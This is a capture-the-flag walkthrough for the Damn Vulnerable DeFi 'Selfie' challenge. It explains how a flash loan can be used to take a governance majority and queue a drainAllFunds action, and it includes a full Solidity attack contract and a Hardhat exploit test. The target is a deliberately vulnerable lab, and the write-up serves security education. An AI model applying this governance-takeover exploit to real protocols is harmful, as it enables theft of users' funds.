Defi Hacker Series: Damn Vulnerable DeFi (6) - Selfie

Damn Vulnerable DeFi is a series of challenges focused on DeFi smart contract attacks. The content includes flash loan attacks, lending pools, on-chain oracles, and more. Before starting, you need to have skills related to Solidity and JavaScript. For each challenge, your goal is to ensure that the unit tests for that challenge pass.

Challenge link: https://www.damnvulnerabledefi.xyz/challenges/6.html

Challenge description:

There is a lending pool that provides a flash loan feature for the DVT token, which is used as a governance token to provide governance functionality for the governance contract. Currently, there are 1.5 million tokens in the lending pool, and your goal is to withdraw all of these tokens.

This challenge has three smart contracts:

DamnValuableTokenSnapshot: A token contract with snapshot functionality.
SelfiePool: The lending pool contract.
SimpleGovernance: The governance contract.

First, let's look at the source code of the lending pool contract.

contract SelfiePool is ReentrancyGuard {
    using Address for address;
    // token contract
    ERC20Snapshot public token;
    // governance contract
    SimpleGovernance public governance;

    event FundsDrained(address indexed receiver, uint256 amount);

    // Ensure that the executor of the function is the governance contract
    modifier onlyGovernance() {
        require(msg.sender == address(governance), "Only governance can execute this action");
        _;
    }

    // Constructor: Create instances of token and governance
    constructor(address tokenAddress, address governanceAddress) {
        token = ERC20Snapshot(tokenAddress);
        governance = SimpleGovernance(governanceAddress);
    }

    // Flash loan function
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        // Ensure sufficient balance
        uint256 balanceBefore = token.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        // Transfer borrowAmount of tokens to msg.sender
        token.transfer(msg.sender, borrowAmount);        
        
        // Ensure msg.sender is a contract address
        require(msg.sender.isContract(), "Sender must be a deployed contract");

        // Call msg.sender's receiveTokens method
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveTokens(address,uint256)",
                address(token),
                borrowAmount
            )
        );

        // Ensure the borrowed tokens have been returned
        uint256 balanceAfter = token.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

    // Withdraw all tokens from this contract, and can only be called by governance
    function drainAllFunds(address receiver) external onlyGovernance {
        // Get balance
        uint256 amount = token.balanceOf(address(this));
        // Transfer tokens to receiver
        token.transfer(receiver, amount);
        
        emit FundsDrained(receiver, amount);
    }
}

The lending pool contract provides two methods:

flashLoan: The flash loan method, which will call the caller's receiveTokens method.
drainAllFunds: Withdraw all tokens, and this method can only be called by the governance contract.

Next, let's look at the source code of the governance contract.

contract SimpleGovernance {
    using Address for address;

    struct GovernanceAction {
        address receiver;
        bytes data;
        uint256 weiAmount;
        uint256 proposedAt;
        uint256 executedAt;
    }
    // Governance token
    DamnValuableTokenSnapshot public governanceToken;
    // Mapping to store all actions
    mapping(uint256 => GovernanceAction) public actions;
    // Action counter
    uint256 private actionCounter;
    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

    event ActionQueued(uint256 actionId, address indexed caller);
    event ActionExecuted(uint256 actionId, address indexed caller);

    // Constructor, passing in governance token address
    constructor(address governanceTokenAddress) {
        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        actionCounter = 1;
    }

    // Create an action
    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
        // Ensure there are enough votes
        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
        // Ensure receiver is not this contract
        require(receiver != address(this), "Cannot queue actions that affect Governance");

        // Save action to actions
        uint256 actionId = actionCounter;
        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);

        // Return actionId
        return actionId;
    }

    // Execute the created action
    function executeAction(uint256 actionId) external payable {
        // Check if the created action can be executed
        require(_canBeExecuted(actionId), "Cannot execute this action");
        
        // Retrieve the latest pending action
        GovernanceAction storage actionToExecute = actions[actionId];
        // Set execution time to current time
        actionToExecute.executedAt = block.timestamp;

        // Execute action.receiver's data
        actionToExecute.receiver.functionCallWithValue(
            actionToExecute.data,
            actionToExecute.weiAmount
        );

        emit ActionExecuted(actionId, msg.sender);
    }

    function getActionDelay() public view returns (uint256) {
        return ACTION_DELAY_IN_SECONDS;
    }

    // Check if an action can be executed
    // 1. Has never been executed
    // 2. Creation time exceeds 2 days
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 &&
            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }

    // Check if there are enough votes
    // The number of governanceTokens owned is greater than half of the total supply
    function _hasEnoughVotes(address account) private view returns (bool) {
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

The governance contract has two core methods:

queueAction: Create an action and save relevant data.
executeAction: Execute the created action, essentially executing the data in action.receive.

Now, let's return to our ultimate goal: to drain all tokens from the lending pool. This can only be achieved by calling the drainAllFunds method, which can only be called by the governance contract. It seems we have hit a dead end, but don't forget that the executeAction method in the governance contract will execute the data in action.receive. If receive is the lending pool contract and data is the drainAllFunds method, it seems feasible. However, the prerequisite is to create an action, which requires holding at least half of the governance tokens. At this point, we can use a flash loan to acquire the tokens.

Ultimately, our attack steps are as follows:

Borrow all tokens in the pool through a flash loan.
In the callback method, construct the data for drainAllFunds and call the governance contract's queueAction to create an action.
Return the tokens.
After two days, execute the governance contract's executeAction method to transfer the tokens to the attacker.

The attack contract is as follows:

SelfieAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieAttack {

  SelfiePool public pool;
  SimpleGovernance public governance;

  address public attacker;
  uint public actionId;

  constructor (address _pool, address _governance) {
    pool = SelfiePool(_pool);
    governance = SimpleGovernance(_governance);
    attacker = msg.sender;
  }

  function attack(uint amount) public {
    pool.flashLoan(amount);
  }

  function receiveTokens(address _token, uint _amount) public {
    // Construct data
    bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", attacker);
    // Execute snapshot
    DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
    token.snapshot();
    // Create action
    actionId = governance.queueAction(address(pool), data, 0);
    // Return tokens
    token.transfer(address(pool), _amount);
  }
}

The action created after calling queueAction is as follows:

{
  receiver: lending pool contract,
	data: drainAllFunds(attacker)
  ...
}

After two days, when the governance contract's executeAction method is executed, it will call the data of the receiver, which is the drainAllFunds of the lending pool contract, with the parameter being attacker.

// receiver address is attacker
function drainAllFunds(address receiver) external onlyGovernance {
    // Get balance
    uint256 amount = token.balanceOf(address(this));
    // Transfer tokens to receiver
    token.transfer(receiver, amount);

    emit FundsDrained(receiver, amount);
}

Finally, write the execution code in the unit test file selfie.challenge.js.

it('Exploit', async function () {
  const SelfieAttackFactory = await ethers.getContractFactory('SelfieAttack', attacker)
  const selfieAttack = await SelfieAttackFactory.deploy(this.pool.address, this.governance.address)
  await selfieAttack.attack(TOKENS_IN_POOL)

  await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
  const actionId = await selfieAttack.actionId()
  this.governance.executeAction(actionId)
})

Run yarn selfie, and the test passes!

Complete code